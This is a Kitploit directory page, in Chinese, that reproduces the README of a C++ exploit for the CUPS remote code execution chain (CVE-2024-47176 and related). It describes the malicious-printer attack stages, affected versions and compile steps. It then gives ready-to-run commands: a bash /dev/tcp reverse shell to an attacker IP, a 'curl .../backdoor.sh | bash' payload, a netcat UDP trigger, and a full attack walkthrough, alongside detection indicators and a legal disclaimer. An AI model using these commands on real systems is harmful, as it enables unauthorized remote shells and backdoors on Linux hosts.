Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Cups-RCE-Exploit — 用于通过 CVE-2024-47176 漏洞链在 CUPS 上实现未认证远程代码执行的 C++ 漏洞利用程序。 | Kitploit
工具/GitHubGitHub/stickxx00/cups-rce-exploit
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队远程访问工具Payload 开发
GitHubstickxx00/cups-rce-exploit

Cups-RCE-Exploit

用于通过 CVE-2024-47176 漏洞链在 CUPS 上实现未认证远程代码执行的 C++ 漏洞利用程序。

查看仓库
1个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CUPS RCE 利用工具 - CVE-2024-47176 漏洞链

这是什么

一个功能完整的概念验证型利用工具,针对 2024 年 9 月发现的 CUPS(通用 UNIX 打印系统)远程代码执行漏洞链。该漏洞链由四个 CVE 组成 —— CVE-2024-47176、CVE-2024-47076、CVE-2024-47175 和 CVE-2024-47177 —— 它们共同使得未认证的远程攻击者能够在任何运行受影响 CUPS 版本的 Linux 系统上执行任意命令。

工作原理

该工具部署一个伪装成网络打印机的恶意 IPP(互联网打印协议)服务器。攻击分为四个阶段:

阶段 1 — 触发发现 向目标设备的 631 端口发送一个精心构造的 UDP 数据包。cups-browsed 守护进程在未经验证的情况下信任该数据包,并主动发起到攻击者 IPP 服务器的 TCP 连接,以获取打印机属性。

阶段 2 — 投递恶意 PPD 攻击者的 IPP 服务器返回包含未净化数据的打印机属性。这些数据流经 libcupsfilters 和 libppd,而它们未能对输入进行验证或净化,从而允许将恶意的 FoomaticRIPCommandLine 指令嵌入到 PPD 文件中。

阶段 3 — 命令注入 当打印作业被发送到攻击者控制的打印机时(无论是自动触发还是用户操作),foomatic-rip 过滤器会处理该 PPD 文件,并以 lp 用户的权限执行注入的命令。

阶段 4 — 载荷执行 注入的命令在目标系统上运行。常见载荷包括反向 Shell、后门安装、数据窃取或提权准备。

受影响版本

cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1

大多数 Linux 发行版在 2024 年底补丁发布前均随附受影响版本。

先决条件

一台装有 g++ 和标准开发工具的 Linux 机器 能够访问目标网络(UDP 631 端口必须可达) 目标必须运行监听 UDP 631 的 cups-browsed 建议使用 root 或 sudo 权限绑定 631 端口(或使用 1631 等高端口)

编译

g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp

无外部依赖。可在任何装有 g++ 的 Linux 发行版上编译。

使用方法

./cups_rce_exploit -l <ATTACKER_IP> -r [options]

选项

-l, --listener 恶意 IPP 服务器的攻击者 IP 地址 -r, --reverse 要在目标上执行的命令,或脚本文件的路径 -t, --target 目标机器 IP(自动发送触发 UDP 数据包) -p, --port 恶意 IPP 服务器端口(默认:631) -s, --spoof 打印机伪装名称(默认:VulnPrinter) -T, --target-port 目标 UDP 端口(默认:631) -h, --help 显示帮助信息

反向 Shell 示例

终端 1 — 启动监听器: nc -lvnp 4444

终端 2 — 运行利用工具: ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100

从文件加载载荷

echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh ./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100

服务器模式与手动触发

终端 1 — 启动服务器: ./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"

终端 2 — 向目标发送 UDP 触发包: echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631

使用非特权端口

./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631

完整攻击演练

步骤 1:在攻击者机器上设置 netcat 监听器 nc -lvnp 4444

步骤 2:编译利用工具 g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp

步骤 3:对目标运行利用工具 ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100

步骤 4:如果目标机器上的用户向恶意打印机打印测试页或任何文档,你将以 lp 用户身份获得一个反向 Shell。

检测指标

631 端口上出现包含 IPP URI 字符串的异常 UDP 数据包 cups-browsed 发往未知主机 631 端口的外向 TCP 连接 CUPS Web 界面中自动出现未知打印机 由 foomatic-rip 或 lp 用户派生的进程

免责声明

法律声明

本软件仅供教育和研究目的使用。其旨在帮助安全专业人员、渗透测试人员和系统管理员理解、检测和防御所述漏洞。

在未拥有或未获得明确书面许可的系统上未经授权使用此利用工具属违法行为,可能违反《计算机欺诈和滥用法》(CFAA)、《计算机滥用法》以及其他司法辖区的类似法律。

授权使用场景包括:对自有系统进行安全评估、获得书面授权的渗透测试、明确范围内的漏洞赏金计划、受控实验室环境中的学术研究,以及 CTF 竞赛。

作者不对因使用本软件造成的任何滥用或损害承担责任。用户有责任遵守所有适用法律,并在测试前获得适当授权。

使用本软件即表示您接受这些条款。

参考资料

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org

下载工具